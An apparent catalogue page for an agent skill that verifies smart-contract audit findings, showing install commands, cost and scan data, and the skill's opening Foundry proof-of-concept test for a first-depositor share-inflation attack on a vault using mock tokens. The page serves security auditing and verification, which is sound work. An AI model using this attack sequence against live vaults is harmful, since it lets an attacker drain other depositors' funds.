audit-verification

audit-verification is a skill for Claude Code, Codex from ccashwell/evm-cortex. It costs 49 tokens per session (1,574 once invoked), scanned A, original, MIT.

A workflow for proving whether a suspected smart-contract security issue is real. It uses proof-of-concept tests, including tests against a copy of a live blockchain, to confirm the behavior.

In plain words
What is it for?
Use it to build exploit demonstrations, test findings on blockchain forks, assess their impact, and support security reports.
Why use it?
It helps separate exploitable vulnerabilities from false alarms and provides evidence for the reported severity.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is import {Vault} from "../src/Vault.sol";.

Good fit Use it to build exploit demonstrations, test findings on blockchain forks, assess their impact, and support security reports.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/ccashwell/evm-cortex
agentmods
npx agentmods add skills/ccashwell/evm-cortex/audit-verification

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for audit-verification

README.md
[![agentmods](https://agentmods.dev/badge/skills/ccashwell/evm-cortex/audit-verification/github.svg)](https://agentmods.dev/skills/ccashwell/evm-cortex/audit-verification)
Your own site
<a href="https://agentmods.dev/skills/ccashwell/evm-cortex/audit-verification"><img src="https://agentmods.dev/badge/skills/ccashwell/evm-cortex/audit-verification/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for audit-verification

Your own site · 80×15
<a href="https://agentmods.dev/skills/ccashwell/evm-cortex/audit-verification"><img src="https://agentmods.dev/badge/skills/ccashwell/evm-cortex/audit-verification.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 49 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,574 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector pass 7 Sept 2026
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00049 $0.01574
Opus 5.5 $0.00020 $0.00630
Sonnet 5.5 $0.00010 $0.00315
Haiku 4.5 $0.00005 $0.00157

Measured 1mo ago against content hash 7deb63b2ac53, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade A, and why

audit-verification scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

skills/audit-verification/SKILL.md · 211 lines

How it starts

The opening of the file, as written. The whole thing — 211 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Finding Verification & PoC Construction

Verification Workflow

Finding Hypothesis → PoC Construction → Fork Validation → Severity Classification → Report

Every finding above Informational should have a verified PoC or clear explanation of why a PoC is not feasible.

PoC Template

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Test, console2} from "forge-std/Test.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

// Import the vulnerable contracts
import {Vault} from "../src/Vault.sol";
import {MockERC20} from "./mocks/MockERC20.sol";

contract PoCShareInflation is Test {
    Vault vault;
    MockERC20 token;

    address attacker = makeAddr("attacker");
    address victim = makeAddr("victim");

    function setUp() public {
        token = new MockERC20("USDC", "USDC", 6);
        vault = new Vault(address(token));

        // Fund actors
        token.mint(attacker, 2_000_000e6);
        token.mint(victim, 1_000_000e6);
    }

    function test_PoC_firstDepositorShareInflation() public {
        // Step 1: Attacker is first depositor
        vm.startPrank(attacker);
        token.approve(address(vault), type(uint256).max);
        vault.deposit(1, attacker); // deposit 1 wei, get 1 share
        console2.log("Attacker shares:", vault.balanceOf(attacker));

        // Step 2: Attacker donates tokens to inflate share price
        token.transfer(address(vault), 1_000_000e6);
        console2.log("Vault total assets:", vault.totalAssets());
        console2.log("Share price:", vault.totalAssets() * 1e6 / vault.totalSupply());
        vm.stopPrank();

        // Step 3: Victim deposits
        vm.startPrank(victim);
        token.approve(address(vault), type(uint256).max);
        uint256 victimShares = vault.deposit(999_999e6, victim);
        console2.log("Victim shares:", victimShares);
        vm.stopPrank();

        // Step 4: Attacker withdraws
        vm.prank(attacker);
        uint256 attackerReceived = vault.redeem(
            vault.balanceOf(attacker), attacker, attacker
        );
        console2.log("Attacker received:", attackerReceived);

        // Verify the exploit: attacker profits at victim's expense
        assertGt(attackerReceived, 1_000_000e6, "attacker should profit");
        uint256 victimLoss = 999_999e6 - vault.convertToAssets(victimShares);
        console2.log("Victim loss:", victimLoss);
        assertGt(victimLoss, 0, "victim should lose funds");
    }
}

Read the full file on GitHub · 211 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 1mo ago First seen · 211 lines · 49 tokens per session scan A 7deb63b2ac53

Subscribe to this mod's changes

audit-verification is a skill published in the GitHub repository ccashwell/evm-cortex (131 stars, last pushed 17d ago), licensed MIT. It adds 49 tokens to every session and 1,574 once invoked, about $0.0002 per session on Opus 5.5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.